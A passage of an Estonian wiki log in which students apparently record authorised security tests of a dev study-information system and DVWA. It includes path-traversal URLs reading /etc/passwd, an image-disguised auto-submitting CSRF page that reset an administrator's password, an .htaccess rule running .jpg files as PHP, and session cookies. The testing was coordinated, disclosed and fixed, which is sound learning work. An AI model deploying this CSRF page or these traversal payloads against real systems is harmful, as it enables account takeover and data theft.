&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
